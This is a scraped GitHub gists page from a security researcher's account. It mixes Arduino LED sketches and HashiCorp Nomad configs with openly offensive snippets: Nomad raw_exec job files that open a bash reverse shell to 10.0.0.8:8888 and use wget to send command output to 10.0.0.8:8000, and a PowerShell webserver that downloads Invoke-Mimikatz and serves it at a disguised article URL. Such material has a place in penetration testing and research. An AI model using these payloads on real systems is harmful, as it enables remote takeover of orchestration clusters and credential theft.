Skip to content

Instantly share code, notes, and snippets.

Chris Gates carnal0wnage

Block or report user

Report or block carnal0wnage

Hide content and notifications from this user.

Learn more about blocking users

Contact Support about this user’s behavior.

Learn more about reporting abuse

Report abuse
View GitHub Profile
@carnal0wnage
carnal0wnage / sploit_service_revshell.hcl
Created Dec 18, 2018
hcl file to get a reverse shell from the nomad server via raw_exec
View sploit_service_revshell.hcl
job "sploit_service_revshell" {
datacenters = ["dc1"]
group "sploit" {
task "shello" {
driver = "raw_exec"
config {
command = "/bin/bash"
args = ["-c", "bash -i >& /dev/tcp/10.0.0.8/8888 0>&1"]
}
@carnal0wnage
carnal0wnage / sploit_service.hcl
Created Dec 18, 2018
hcl file that exploits nomad raw_exec
View sploit_service.hcl
job "sploit_service" {
datacenters = ["dc1"]
group "sploit" {
task "shello" {
driver = "raw_exec"
config {
command = "/bin/bash"
args = ["-c", "wget http://10.0.0.8:8000/?foo=`which nc`"]
}
@carnal0wnage
carnal0wnage / client2.hcl
Created Dec 18, 2018
simple client config for nomad
View client2.hcl
# Increase log verbosity
log_level = "DEBUG"
# Setup data dir
data_dir = "/tmp/client2"
# Give the agent a unique name. Defaults to hostname
name = "client2"
# Enable the client
@carnal0wnage
carnal0wnage / client1.hcl
Created Dec 18, 2018
simple client config for nomad
View client1.hcl
# Increase log verbosity
log_level = "DEBUG"
# Setup data dir
data_dir = "/tmp/client1"
# Give the agent a unique name. Defaults to hostname
name = "client1"
# Enable the client
@carnal0wnage
carnal0wnage / server.hcl
Created Dec 18, 2018
simple nomad server.hcl file
View server.hcl
# Increase log verbosity
log_level = "DEBUG"
# Setup data dir
data_dir = "/tmp/server1"
# Enable the server
server {
enabled = true
View stranger_things.ino
#include "FastLED.h"
#define NUM_LEDS 100
#define COLOR_ORDER RGB
CRGB leds[NUM_LEDS];
//I have a few additional integers in here from different tests.
int y = 1;
int z = 0;
int w = 5;
int i = 20;
@carnal0wnage
carnal0wnage / stranger_things_lights_refs.txt
Last active Sep 4, 2018
stranger things LED lights refs
View stranger_things_lights_refs.txt
https://www.doityourselfchristmas.com/wiki/index.php?title=Pixel_Wiring_Colors#WS2811
#best arduino code for making the WriteWord magic happen
https://www.woodlandmanufacturing.com/articles/news/how-to-make-a-stranger-things-alphabet-sign-with-lights-code/
https://github.com/djhazee/strangerlights/blob/master/strangerlights.py
https://imgur.com/gallery/RCJyA
https://www.instructables.com/id/Arduino-Based-Stranger-Things-Lights/
View tor_shennigans.py
import torrequest
import stem.connection
from stem.connection import connect
from torrequest import TorRequest
# Choose a proxy port, a control port, and a password.
# Defaults are 9050, 9051, and None respectively.
# If there is already a Tor process listening the specified
@carnal0wnage
carnal0wnage / gist:f7bf4fb559b8e23f159ce42b67dbf3ba
Last active Aug 25, 2018
WS2811 FastLED basic does this shit work sketch
View gist:f7bf4fb559b8e23f159ce42b67dbf3ba
#include "FastLED.h"
#define NUM_LEDS 50
CRGB leds[NUM_LEDS];
static byte initialHue = 0;
byte changeInHue = 255 / NUM_LEDS;
void setup() { FastLED.addLeds<WS2811, 6>(leds, NUM_LEDS); }
void loop() {
//leds[0] = CRGB::Green; FastLED.show(); delay(300);
@carnal0wnage
carnal0wnage / server.ps1
Created Jun 21, 2018 — forked from cobbr/server.ps1
Dirty PowerShell Webserver
View server.ps1
$mk = (new-object net.webclient).downloadstring("https://github.com/PowerShellMafia/PowerSploit/raw/master/Exfiltration/Invoke-Mimikatz.ps1")
$Hso = New-Object Net.HttpListener
$Hso.Prefixes.Add("http://+:8080/")
$Hso.Start()
While ($Hso.IsListening) {
$HC = $Hso.GetContext()
$HRes = $HC.Response
$HRes.Headers.Add("Content-Type","text/plain")
If (($HC.Request).RawUrl -eq '/home/news/a/21/article.html') {
$Buf = [Text.Encoding]::UTF8.GetBytes($mk)
You can’t perform that action at this time.